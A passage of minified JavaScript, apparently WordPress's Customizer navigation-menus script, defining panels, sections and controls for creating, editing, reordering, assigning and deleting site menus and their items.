target).closest(".accordion-section"),this.submitNew(e))},submitNew:function(n){var i=this,a=n.find(".create-item-input"),e=a.val(),t=n.find(".available-menu-items-list"),o=t.data("type"),s=t.data("object"),r=t.data("type_label"),t=n.find(".create-item-error");this.currentMenuControl&&"post_type"===o&&(""===a.val().trim()?(n.addClass("form-invalid"),a.attr("aria-invalid","true"),a.attr("aria-describedby",t.attr("id")),t.slideDown("fast"),l.a11y.speak(t.text())):(n.removeClass("form-invalid"),a.attr("aria-invalid","false"),a.removeAttr("aria-describedby"),t.hide(),n.find(".accordion-section-title").addClass("loading"),i.addingNew=!0,a.attr("disabled","disabled"),u.Menus.insertAutoDraftPost({post_title:e,post_type:s}).done(function(e){var t,e=new u.Menus.AvailableItemModel({id:"post-"+e.post_id,title:a.val(),type:o,type_label:r,object:s,object_id:e.post_id,url:e.url});i.currentMenuControl.addItemToMenu(e.attributes),u.Menus.availableMenuItemsPanel.collection.add(e),t=n.find(".available-menu-items-list"),(e=m(l.template("available-menu-item")(e.attributes))).find(".menu-item-handle:first").addClass("item-added"),t.prepend(e),t.scrollTop(),a.val("").removeAttr("disabled"),i.addingNew=!1,n.find(".accordion-section-title").removeClass("loading")})))},open:function(e){var t,n=this;this.currentMenuControl=e,this.itemSectionHeight(),u.section.has("publish_settings")&&u.section("publish_settings").collapse(),m("body").addClass("adding-menu-items"),t=function(){n.close(),m(this).off("click",t)},m("#customize-preview").on("click",t),_(this.currentMenuControl.getMenuItemControls()).each(function(e){e.collapseForm()}),this.$el.find(".selected").removeClass("selected"),this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentMenuControl&&this.currentMenuControl.container.find(".add-new-menu-item").focus(),this.currentMenuControl=null,this.selected=null,m("body").removeClass("adding-menu-items"),m("#available-menu-items .menu-item-handle.item-added").removeClass("item-added"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,n=27===e.which,i=9===e.which&&e.shiftKey,a=m(e.target).is(this.$search);t&&!this.$search.val()||(a&&i?(this.currentMenuControl.container.find(".add-new-menu-item").focus(),e.preventDefault()):n&&this.close({returnFocus:!0}))}}),u.Menus.MenusPanel=u.Panel.extend({attachEvents:function(){u.Panel.prototype.attachEvents.call(this);var t=this.container.find(".panel-meta"),n=t.find(".customize-help-toggle"),i=t.find(".customize-panel-description"),a=m("#screen-options-wrap"),o=t.find(".customize-screen-options-toggle");o.on("click keydown",function(e){if(!u.utils.isKeydownButNotEnterEvent(e))return e.preventDefault(),i.not(":hidden")&&(i.slideUp("fast"),n.attr("aria-expanded","false")),"true"===o.attr("aria-expanded")?(o.attr("aria-expanded","false"),t.removeClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast")):(o.attr("aria-expanded","true"),t.addClass("open"),t.addClass("active-menu-screen-options"),a.slideDown("fast")),!1}),n.on("click keydown",function(e){u.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),"true"===o.attr("aria-expanded")&&(o.attr("aria-expanded","false"),n.attr("aria-expanded","true"),t.addClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast"),i.slideDown("fast")))})},ready:function(){var e=this;e.container.find(".hide-column-tog").on("click",function(){e.saveManageColumnsState()}),u.section("menu_locations",function(e){e.headContainer.prepend(l.template("nav-menu-locations-header")(u.Menus.data))})},saveManageColumnsState:_.debounce(function(){var e=this;e._updateHiddenColumnsRequest&&e._updateHiddenColumnsRequest.abort(),e._updateHiddenColumnsRequest=l.ajax.post("hidden-columns",{hidden:e.hidden(),screenoptionnonce:m("#screenoptionnonce").val(),page:"nav-menus"}),e._updateHiddenColumnsRequest.always(function(){e._updateHiddenColumnsRequest=null})},2e3),checked:function(){},unchecked:function(){},hidden:function(){return m(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(0,e.length-5)}).get().join(",")}}),u.Menus.MenuSection=u.Section.extend({initialize:function(e,t){u.Section.prototype.initialize.call(this,e,t),this.deferred.initSortables=m.Deferred()},ready:function(){var e,t,n=this;if(void 0===n.params.menu_id)throw new Error("params.menu_id was not defined");n.active.validate=function(){return!!u.has(n.id)&&!!u(n.id).get()},n.populateControls(),n.navMenuLocationSettings={},n.assignedLocations=new u.Value([]),u.each(function(e,t){t=t.match(/^nav_menu_locations\[(.+?)]/);t&&(n.navMenuLocationSettings[t[1]]=e).bind(function(){n.refreshAssignedLocations()})}),n.assignedLocations.bind(function(e){n.updateAssignedLocationsInSectionTitle(e)}),n.refreshAssignedLocations(),u.bind("pane-contents-reflowed",function(){n.contentContainer.parent().length&&(n.container.find(".menu-item .menu-item-reorder-nav button").attr({tabindex:"0","aria-hidden":"false"}),n.container.find(".menu-item.move-up-disabled .menus-move-up").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-down-disabled .menus-move-down").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-left-disabled .menus-move-left").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-right-disabled .menus-move-right").attr({tabindex:"-1","aria-hidden":"true"}))}),t=function(){var e="field-"+m(this).val()+"-active";n.contentContainer.toggleClass(e,m(this).prop("checked"))},(e=u.panel("nav_menus").contentContainer.find(".metabox-prefs:first").find(".hide-column-tog")).each(t),e.on("click",t)},populateControls:function(){var e,t=this,n=t.id+"[name]",i=u.control(n);i||(i=new u.controlConstructor.nav_menu_name(n,{type:"nav_menu_name",label:u.Menus.data.l10n.menuNameLabel,section:t.id,priority:0,settings:{default:t.id}}),u.control.add(i),i.active.set(!0)),(n=u.control(t.id))||(n=new u.controlConstructor.nav_menu(t.id,{type:"nav_menu",section:t.id,priority:998,settings:{default:t.id},menu_id:t.params.menu_id}),u.control.add(n),n.active.set(!0)),i=t.id+"[locations]",u.control(i)||(i=new u.controlConstructor.nav_menu_locations(i,{section:t.id,priority:999,settings:{default:t.id},menu_id:t.params.menu_id}),u.control.add(i.id,i),n.active.set(!0)),i=t.id+"[auto_add]",(n=u.control(i))||(n=new u.controlConstructor.nav_menu_auto_add(i,{type:"nav_menu_auto_add",label:"",section:t.id,priority:1e3,settings:{default:t.id}}),u.control.add(n),n.active.set(!0)),i=t.id+"[delete]",(e=u.control(i))||(e=new u.Control(i,{section:t.id,priority:1001,templateId:"nav-menu-delete-button"}),u.control.add(e.id,e),e.active.set(!0),e.deferred.embedded.done(function(){e.container.find("button").on("click",function(){var e=t.params.menu_id;u.Menus.getMenuControl(e).setting.set(!1)})}))},refreshAssignedLocations:function(){var n=this.params.menu_id,i=[];_.each(this.navMenuLocationSettings,function(e,t){e()===n&&i.push(t)}),this.assignedLocations.set(i)},updateAssignedLocationsInSectionTitle:function(e){var n=this.container.find(".accordion-section-title button:first");n.find(".menu-in-location").remove(),_.each(e,function(e){var t=m('<span class="menu-in-location"></span>'),e=u.Menus.data.locationSlugMappedToName[e];t.text(u.Menus.data.l10n.menuLocation.replace("%s",e)),n.append(t)}),this.container.toggleClass("assigned-to-menu-location",0!==e.length)},onChangeExpanded:function(e,t){var n,i=this;e&&(wpNavMenu.menuList=i.contentContainer,wpNavMenu.targetList=wpNavMenu.menuList,m("#menu-to-edit").removeAttr("id"),wpNavMenu.menuList.attr("id","menu-to-edit").addClass("menu"),u.Menus.MenuItemControl.prototype.initAccessibility(),_.each(u.section(i.id).controls(),function(e){"nav_menu_item"===e.params.type&&e.actuallyEmbed()}),t.completeCallback&&(n=t.completeCallback),t.completeCallback=function(){"resolved"!==i.deferred.initSortables.state()&&(wpNavMenu.initSortables(),i.deferred.initSortables.resolve(wpNavMenu.menuList),u.control("nav_menu["+String(i.params.menu_id)+"]").reflowMenuItems()),_.isFunction(n)&&n()}),u.Section.prototype.onChangeExpanded.call(i,e,t)},highlightNewItemButton:function(){u.utils.highlightButton(this.contentContainer.find(".add-new-menu-item"),{delay:2e3})}}),u.Menus.createNavMenu=function(e){var t=u.Menus.generatePlaceholderAutoIncrementId(),n="nav_menu["+String(t)+"]";return u.create(n,n,{},{type:"nav_menu",transport:u.Menus.data.settingTransport,previewer:u.previewer}).set(m.extend({},u.Menus.data.defaultSettingValues.nav_menu,{name:e||""})),u.section.add(new u.Menus.MenuSection(n,{panel:"nav_menus",title:c(e),customizeAction:u.Menus.data.l10n.customizingMenus,priority:10,menu_id:t}))},u.Menus.NewMenuSection=u.Section.extend({attachEvents:function(){var t=this,e=t.container,n=t.contentContainer,i=/^nav_menu\[/;function a(){var t;e.find(".add-new-menu-notice").prop("hidden",(t=0,u.each(function(e){i.test(e.id)&&!1!==e.get()&&(t+=1)}),0<t))}function o(e){i.test(e.id)&&(e.bind(a),a())}t.headContainer.find(".accordion-section-title").replaceWith(l.template("nav-menu-create-menu-section-title")),e.on("click",".customize-add-menu-button",function(){t.expand()}),n.on("keydown",".menu-name-field",function(e){13===e.which&&t.submit()}),n.on("click","#customize-new-menu-submit",function(e){t.submit(),e.stopPropagation(),e.preventDefault()}),u.each(o),u.bind("add",o),u.bind("removed",function(e){i.test(e.id)&&(e.unbind(a),a())}),a(),u.Section.prototype.attachEvents.apply(t,arguments)},ready:function(){this.populateControls()},populateControls:function(){var e=this,t=e.id+"[name]",n=u.control(t);n||(n=new u.controlConstructor.nav_menu_name(t,{label:u.Menus.data.l10n.menuNameLabel,description:u.Menus.data.l10n.newMenuNameDescription,section:e.id,priority:0}),u.control.add(n.id,n),n.active.set(!0)),t=e.id+"[locations]",(n=u.control(t))||(n=new u.controlConstructor.nav_menu_locations(t,{section:e.id,priority:1,menu_id:"",isCreating:!0}),u.control.add(t,n),n.active.set(!0)),t=e.id+"[submit]",(n=u.control(t))||(n=new u.Control(t,{section:e.id,priority:1,templateId:"nav-menu-submit-new-button"}),u.control.add(t,n),n.active.set(!0))},submit:function(){var t,e=this.contentContainer,n=e.find(".menu-name-field").first(),i=n.val();i?(t=u.Menus.createNavMenu(i),n.val(""),n.removeClass("invalid"),e.find(".assigned-menu-location input[type=checkbox]").each(function(){var e=m(this);e.prop("checked")&&(u("nav_menu_locations["+e.data("location-id")+"]").set(t.params.menu_id),e.prop("checked",!1))}),l.a11y.speak(u.Menus.data.l10n.menuAdded),t.focus({completeCallback:function(){t.highlightNewItemButton()}})):(n.addClass("invalid"),n.focus())},selectDefaultLocation:function(e){var t=u.control(this.id+"[locations]"),n={};null!==e&&(n[e]=!0),t.setSelections(n)}}),u.Menus.MenuLocationControl=u.Control.extend({initialize:function(e,t){var n=e.match(/^nav_menu_locations\[(.+?)]/);this.themeLocation=n[1],u.Control.prototype.initialize.call(this,e,t)},ready:function(){var n=this,i=/^nav_menu\[(-?\d+)]/;n.setting.validate=function(e){return""===e?0:parseInt(e,10)},n.container.find(".create-menu").on("click",function(){var e=u.section("add_menu");e.selectDefaultLocation(this.dataset.locationId),e.focus()}),n.container.find(".edit-menu").on("click",function(){var e=n.setting();u.section("nav_menu["+e+"]").focus()}),n.setting.bind("change",function(){var e=0!==n.setting();n.container.find(".create-menu").toggleClass("hidden",e),n.container.find(".edit-menu").toggleClass("hidden",!e)}),u.bind("add",function(e){var t=e.id.match(i);t&&!1!==e()&&(t=t[1],e=new Option(c(e().name),t),n.container.find("select").append(e))}),u.bind("remove",function(e){var e=e.id.match(i);e&&(e=parseInt(e[1],10),n.setting()===e&&n.setting.set(""),n.container.find("option[value="+e+"]").remove())}),u.bind("change",function(e){var t=e.id.match(i);t&&(t=parseInt(t[1],10),!1===e()?(n.setting()===t&&n.setting.set(""),n.container.find("option[value="+t+"]").remove()):n.container.find("option[value="+t+"]").text(c(e().name)))})}}),u.Menus.MenuItemControl=u.Control.extend({initialize:function(e,t){var n=this;n.expanded=new u.Value(!1),n.expandedArgumentsQueue=[],n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=m.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),u.Control.prototype.initialize.call(n,e,t),n.active.validate=function(){var e=u.section(n.section()),e=!!e&&e.active();return e}},initAccessibility:function(){var e=this,t=m("#menu-to-edit");t.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){e.refreshAdvancedAccessibilityOfItem(m(this).find("button.item-edit"))}),t.on("click","button.item-edit",function(){e.refreshAdvancedAccessibilityOfItem(m(this))})},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,o,s,r,d;!0===m(e).data("needs_accessibility_refresh")&&(o=0===(a=(i=(e=m(e)).closest("li.menu-item").first()).menuItemDepth()),s=e.closest(".menu-item-handle").find(".menu-item-title").text(),r=e.closest(".menu-item-handle").find(".item-type").text(),d=m("#menu-to-edit li").length,d=o?(t=(o=m(".menu-item-depth-0")).index(i)+1,d=o.length,menus.menuFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",d)):(d=(o=i.prevAll(".menu-item-depth-"+parseInt(a-1,10)).first()).find(".menu-item-data-db-id").val(),o=o.find(".menu-item-title").text(),n=(d=m('.menu-item .menu-item-data-parent-id[value="'+d+'"]')).length,t=m(d.parents(".menu-item").get().reverse()).index(i)+1,a<2?menus.subMenuFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",n).replace("%5$s",o):menus.subMenuMoreDepthFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",n).replace("%5$s",o).replace("%6$d",a)),e.find(".screen-reader-text").text(d),e.data("needs_accessibility_refresh",!1))},embed:function(){var e=this.section();e&&((e=u.section(e))&&e.expanded()||u.settings.autofocus.control===this.id)&&this.actuallyEmbed()},actuallyEmbed:function(){"resolved"!==this.deferred.embedded.state()&&(this.renderContent(),this.deferred.embedded.resolve(),m("button.item-edit").data("needs_accessibility_refresh",!0))},ready:function(){if(void 0===this.params.menu_item_id)throw new Error("params.menu_item_id was not defined");this._setupControlToggle(),this._setupReorderUI(),this._setupUpdateUI(),this._setupRemoveUI(),this._setupLinksUI(),this._setupTitleUI()},_setupControlToggle:function(){var i=this;this.container.find(".menu-item-handle").on("click",function(e){e.preventDefault(),e.stopPropagation();var t=i.getMenuControl(),n=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||n||e||u.Menus.availableMenuItemsPanel.close(),t.isReordering||t.isSorting||i.toggleForm()})},_setupReorderUI:function(){var o=this,e=l.template("menu-item-reorder-nav");o.container.find(".item-controls").after(e),o.container.find(".menu-item-reorder-nav").find(".menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right").on("click",function(){var e=m(this),t=(o.params.depth=o.getDepth(),e.focus(),e.is(".menus-move-up")),n=e.is(".menus-move-down"),i=e.is(".menus-move-left"),a=e.is(".menus-move-right");t?o.moveUp():n?o.moveDown():i?o.moveLeft():a&&(o.moveRight(),o.params.depth+=1),e.focus(),m("button.item-edit").data("needs_accessibility_refresh",!0)})},_setupUpdateUI:function(){var e,s=this,t=s.setting();s.elements={},s.elements.url=new u.Element(s.container.find(".edit-menu-item-url")),s.elements.title=new u.Element(s.container.find(".edit-menu-item-title")),s.elements.attr_title=new u.Element(s.container.find(".edit-menu-item-attr-title")),s.elements.target=new u.Element(s.container.find(".edit-menu-item-target")),s.elements.classes=new u.Element(s.container.find(".edit-menu-item-classes")),s.elements.xfn=new u.Element(s.container.find(".edit-menu-item-xfn")),s.elements.description=new u.Element(s.container.find(".edit-menu-item-description")),_.each(s.elements,function(n,i){n.bind(function(e){n.element.is("input[type=checkbox]")&&(e=e?n.element.val():"");var t=s.setting();t&&t[i]!==e&&((t=_.clone(t))[i]=e,s.setting.set(t))}),t&&("classes"!==i&&"xfn"!==i||!_.isArray(t[i])?n.set(t[i]):n.set(t[i].join(" ")))}),s.setting.bind(function(n,i){var e,t=s.params.menu_item_id,a=[],o=[];!1===n?(e=u.control("nav_menu["+String(i.nav_menu_term_id)+"]"),s.container.remove(),_.each(e.getMenuItemControls(),function(e){i.menu_item_parent===e.setting().menu_item_parent&&e.setting().position>i.position?a.push(e):e.setting().menu_item_parent===t&&o.push(e)}),_.each(a,function(e){var t=_.clone(e.setting());t.position+=o.length,e.setting.set(t)}),_.each(o,function(e,t){var n=_.clone(e.setting());n.position=i.position+t,n.menu_item_parent=i.menu_item_parent,e.setting.set(n)}),e.debouncedReflowMenuItems()):(_.each(n,function(e,t){s.elements[t]&&s.elements[t].set(n[t])}),s.container.find(".menu-item-data-parent-id").val(n.menu_item_parent),n.position===i.position&&n.menu_item_parent===i.menu_item_parent||s.getMenuControl().debouncedReflowMenuItems())}),s.setting.notifications.bind("add",e=function(){s.elements.url.element.toggleClass("invalid",s.setting.notifications.has("invalid_url"))}),s.setting.notifications.bind("removed",e)},_setupRemoveUI:function(){var r=this;r.container.find(".item-delete").on("click",function(){var e,t,n,i=!0,a=0,o=r.params.original_item_id,s=r.getMenuControl().$sectionContent.find(".menu-item");m("body").hasClass("adding-menu-items")||(i=!1),n=r.container.nextAll(".customize-control-nav_menu_item:visible").first(),t=r.container.prevAll(".customize-control-nav_menu_item:visible").first(),e=(n.length?n.find(!1===i?".item-edit":".item-delete"):t.length?t.find(!1===i?".item-edit":".item-delete"):r.container.nextAll(".customize-control-nav_menu").find(".add-new-menu-item")).first(),_.each(s,function(e){m(e).is(":visible")&&(e=e.getAttribute("id").match(/^customize-control-nav_menu_item-(-?\d+)$/,""))&&(e=parseInt(e[1],10),e=u.control("nav_menu_item["+String(e)+"]"))&&o==e.params.original_item_id&&a++}),a<=1&&((n=m("#menu-item-tpl-"+r.params.original_item_id)).removeClass("selected"),n.find(".menu-item-handle").removeClass("item-added")),r.container.slideUp(function(){r.setting.set(!1),l.a11y.speak(u.Menus.data.l10n.itemDeleted),e.focus()}),r.setting.set(!1)})},_setupLinksUI:function(){this.container.find("a.original-link").on("click",function(e){e.preventDefault(),u.previewer.previewUrl(e.target.toString())})},_setupTitleUI:function(){var i;this.container.find(".edit-menu-item-title").on("blur",function(){m(this).val(m(this).val().trim())}),i=this.container.find(".menu-item-title"),this.setting.bind(function(e){var t,n;e&&(e.title=e.title||"",n=(t=e.title.trim())||e.original_title||u.Menus.data.l10n.untitled,e._invalid&&(n=u.Menus.data.l10n.invalidTitleTpl.replace("%s",n)),t||e.original_title?i.text(n).removeClass("no-title"):i.text(n).addClass("no-title"))})},getDepth:function(){var e=this,t=e.setting(),n=0;if(!t)return 0;for(;t&&t.menu_item_parent&&(n+=1,e=u.control("nav_menu_item["+t.menu_item_parent+"]"));)t=e.setting();return n},renderContent:function(){var e,t=this,n=t.setting();t.params.title=n.title||"",t.params.depth=t.getDepth(),t.container.data("item-depth",t.params.depth),e=["menu-item","menu-item-depth-"+String(t.params.depth),"menu-item-"+n.object,"menu-item-edit-inactive"],n._invalid?(e.push("menu-item-invalid"),t.params.title=u.Menus.data.l10n.invalidTitleTpl.replace("%s",t.params.title)):"draft"===n.status&&(e.push("pending"),t.params.title=u.Menus.data.pendingTitleTpl.replace("%s",t.params.title)),t.params.el_classes=e.join(" "),t.params.item_type_label=n.type_label,t.params.item_type=n.type,t.params.url=n.url,t.params.target=n.target,t.params.attr_title=n.attr_title,t.params.classes=_.isArray(n.classes)?n.classes.join(" "):n.classes,t.params.xfn=n.xfn,t.params.description=n.description,t.params.parent=n.menu_item_parent,t.params.original_title=n.original_title||"",t.container.addClass(t.params.el_classes),u.Control.prototype.renderContent.call(t)},getMenuControl:function(){var e=this.setting();return e&&e.nav_menu_term_id?u.control("nav_menu["+e.nav_menu_term_id+"]"):null},expandControlSection:function(){var e=this.container.closest(".accordion-section");e.hasClass("open")||e.find(".accordion-section-title:first").trigger("click")},_toggleExpanded:u.Section.prototype._toggleExpanded,expand:u.Section.prototype.expand,expandForm:function(e){this.expand(e)},collapse:u.Section.prototype.collapse,collapseForm:function(e){this.collapse(e)},toggleForm:function(e,t){(e=void 0===e?!this.expanded():e)?this.expand(t):this.collapse(t)},onChangeExpanded:function(e,t){var n,i=this,a=this.container,o=a.find(".menu-item-settings:first");void 0===e&&(e=!o.is(":visible")),o.is(":visible")===e?t&&t.completeCallback&&t.completeCallback():e?(u.control.each(function(e){i.params.type===e.params.type&&i!==e&&e.collapseForm()}),n=function(){a.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active"),i.container.trigger("expanded"),t&&t.completeCallback&&t.completeCallback()},a.find(".item-edit").attr("aria-expanded","true"),o.slideDown("fast",n),i.container.trigger("expand")):(n=function(){a.addClass("menu-item-edit-inactive").removeClass("menu-item-edit-active"),i.container.trigger("collapsed"),t&&t.completeCallback&&t.completeCallback()},i.container.trigger("collapse"),a.find(".item-edit").attr("aria-expanded","false"),o.slideUp("fast",n))},focus:function(e){var t=this,n=(e=e||{}).completeCallback,i=function(){t.expandControlSection(),e.completeCallback=function(){t.container.find(".menu-item-settings").find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first().focus(),n&&n()},t.expandForm(e)};u.section.has(t.section())?u.section(t.section()).expand({completeCallback:i}):i()},moveUp:function(){this._changePosition(-1),l.a11y.speak(u.Menus.data.l10n.movedUp)},moveDown:function(){this._changePosition(1),l.a11y.speak(u.Menus.data.l10n.movedDown)},moveLeft:function(){this._changeDepth(-1),l.a11y.speak(u.Menus.data.l10n.movedLeft)},moveRight:function(){this._changeDepth(1),l.a11y.speak(u.Menus.data.l10n.movedRight)},_changePosition:function(e){var t,n=this,i=_.clone(n.setting()),a=[];if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");if(n.setting()){if(_(n.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===i.menu_item_parent&&a.push(e.setting)}),a.sort(function(e,t){return e().position-t().position}),-1===(t=_.indexOf(a,n.setting)))throw new Error("Expected setting to be among siblings.");0===t&&e<0||t===a.length-1&&0<e||((t=a[t+e])&&t.set(m.extend(_.clone(t()),{position:i.position})),i.position+=e,n.setting.set(i))}},_changeDepth:function(e){if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");var t,n,i=this,a=_.clone(i.setting()),o=[];if(_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&o.push(e)}),o.sort(function(e,t){return e.setting().position-t.setting().position}),-1===(t=_.indexOf(o,i)))throw new Error("Expected control to be among siblings.");-1===e?a.menu_item_parent&&(n=u.control("nav_menu_item["+a.menu_item_parent+"]"),_(o).chain().slice(t).each(function(e,t){e.setting.set(m.extend({},e.setting(),{menu_item_parent:i.params.menu_item_id,position:t}))}),_(i.getMenuControl().getMenuItemControls()).each(function(e){var t;e.setting().menu_item_parent===n.setting().menu_item_parent&&e.setting().position>n.setting().position&&(t=_.clone(e.setting()),e.setting.set(m.extend(t,{position:t.position+1})))}),a.position=n.setting().position+1,a.menu_item_parent=n.setting().menu_item_parent,i.setting.set(a)):1===e&&0!==t&&(a.menu_item_parent=o[t-1].params.menu_item_id,a.position=0,_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&(a.position=Math.max(a.position,e.setting().position))}),a.position+=1,i.setting.set(a))}}),u.Menus.MenuNameControl=u.Control.extend({ready:function(){var e,n=this;n.setting&&(e=n.setting(),n.nameElement=new u.Element(n.container.find(".menu-name-field")),n.nameElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).name=e,n.setting.set(t))}),e&&n.nameElement.set(e.name),n.setting.bind(function(e){e&&n.nameElement.set(e.name)}))}}),u.Menus.MenuLocationsControl=u.Control.extend({ready:function(){var d=this;d.container.find(".assigned-menu-location").each(function(){function t(e){var t=u("nav_menu["+String(e)+"]");e&&t&&t()?n.find(".theme-location-set").show().find("span").text(c(t().name)):n.find(".theme-location-set").hide()}var n=m(this),e=n.find("input[type=checkbox]"),i=new u.Element(e),a=u("nav_menu_locations["+e.data("location-id")+"]"),o=""===d.params.menu_id,s=o?_.noop:function(e){i.set(e)},r=o?_.noop:function(e){a.set(e?d.params.menu_id:0)};s(a.get()===d.params.menu_id),e.on("change",function(){r(this.checked)}),a.bind(function(e){s(e===d.params.menu_id),t(e)}),t(a.get())})},setSelections:function(i){this.container.find(".menu-location").each(function(e,t){var n=t.dataset.locationId;t.checked=n in i&&i[n]})}}),u.Menus.MenuAutoAddControl=u.Control.extend({ready:function(){var n=this,e=n.setting();n.active.validate=function(){var e=u.section(n.section()),e=!!e&&e.active();return e},n.autoAddElement=new u.Element(n.container.find("input[type=checkbox].auto_add")),n.autoAddElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).auto_add=e,n.setting.set(t))}),e&&n.autoAddElement.set(e.auto_add),n.setting.bind(function(e){e&&n.autoAddElement.set(e.auto_add)})}}),u.Menus.MenuControl=u.Control.extend({ready:function(){var t,n,i=this,a=u.section(i.section()),o=i.params.menu_id,e=i.setting();if(void 0===this.params.menu_id)throw new Error("params.menu_id was not defined");i.active.validate=function(){var e=!!a&&a.active();return e},i.$controlSection=a.headContainer,i.$sectionContent=i.container.closest(".accordion-section-content"),this._setupModel(),u.section(i.section(),function(e){e.deferred.initSortables.done(function(e){i._setupSortable(e)})}),this._setupAddition(),this._setupTitle(),e&&(t=c(e.name),u.control.each(function(e){e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(e.container.find(".nav-menu-widget-form-controls:first").show(),e.container.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.container.find("select")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o))}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").show(),e.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.find(".widget-inside select:first")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o)),_.defer(function(){i.updateInvitationVisibility()})},_setupModel:function(){var n=this,i=n.params.menu_id;n.setting.bind(function(e){var t;!1===e?n._handleDeletion():(t=c(e.name),u.control.each(function(e){e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&e.container.find("select").find("option[value="+String(i)+"]").text(t)}))})},_setupSortable:function(e){var a=this;if(!e.is(a.$sectionContent))throw new Error("Unexpected menuList.");e.on("sortstart",function(){a.isSorting=!0}),e.on("sortstop",function(){setTimeout(function(){var e=a.$sectionContent.sortable("toArray"),t=[],n=0,i=10;a.isSorting=!1,a.$sectionContent.scrollLeft(0),_.each(e,function(e){var e=e.match(/^customize-control-nav_menu_item-(-?\d+)$/,"");e&&(e=parseInt(e[1],10),e=u.control("nav_menu_item["+String(e)+"]"))&&t.push(e)}),_.each(t,function(e){var t;!1!==e.setting()&&(t=_.clone(e.setting()),n+=1,i+=1,t.position=n,e.priority(i),t.menu_item_parent=parseInt(e.container.find(".menu-item-data-parent-id").val(),10),t.menu_item_parent||(t.menu_item_parent=0),e.setting.set(t))}),m("button.item-edit").data("needs_accessibility_refresh",!0)})}),a.isReordering=!1,this.container.find(".reorder-toggle").on("click",function(){a.toggleReordering(!a.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-menu-item").on("click",function(e){t.$sectionContent.hasClass("reordering")||(m("body").hasClass("adding-menu-items")?(m(this).attr("aria-expanded","false"),u.Menus.availableMenuItemsPanel.close(),e.stopPropagation()):(m(this).attr("aria-expanded","true"),u.Menus.availableMenuItemsPanel.open(t)))})},_handleDeletion:function(){var e,n=this.params.menu_id,i=0,t=u.section(this.section()),a=function(){t.container.remove(),u.section.remove(t.id)};t&&t.expanded()?t.collapse({completeCallback:function(){a(),l.a11y.speak(u.Menus.data.l10n.menuDeleted),u.panel("nav_menus").focus()}}):a(),u.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(i+=1)}),u.control.each(function(e){var t;e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&((t=e.container.find("select")).val()===String(n)&&t.prop("selectedIndex",0).trigger("change"),e.container.find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.container.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.container.find("option[value="+String(n)+"]").remove())}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.find("option[value="+String(n)+"]").remove()},_setupTitle:function(){var d=this;d.setting.bind(function(e){var t,n,i,a,o,s,r;e&&(t=u.section(d.section()),n=d.params.menu_id,i=t.headContainer.find(".accordion-section-title"),a=t.contentContainer.find(".customize-section-title h3"),o=t.headContainer.find(".menu-in-location"),s=a.find(".customize-action"),r=c(e.name),i.text(r),o.length&&o.appendTo(i),a.text(r),s.length&&s.prependTo(a),u.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+n+"]").text(r)}),t.contentContainer.find(".customize-control-checkbox input").each(function(){m(this).prop("checked")&&m(".current-menu-location-name-"+m(this).data("location-id")).text(r)}))})},toggleReordering:function(e){var t=this.container.find(".add-new-menu-item"),n=this.container.find(".reorder-toggle"),i=this.$sectionContent.find(".item-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),this.$sectionContent.sortable(this.isReordering?"disable":"enable"),this.isReordering?(t.attr({tabindex:"-1","aria-hidden":"true"}),n.attr("aria-label",u.Menus.data.l10n.reorderLabelOff),l.a11y.speak(u.Menus.data.l10n.reorderModeOn),i.attr("aria-hidden","false")):(t.removeAttr("tabindex aria-hidden"),n.attr("aria-label",u.Menus.data.l10n.reorderLabelOn),l.a11y.speak(u.Menus.data.l10n.reorderModeOff),i.attr("aria-hidden","true")),e)&&_(this.getMenuItemControls()).each(function(e){e.collapseForm()})},getMenuItemControls:function(){var 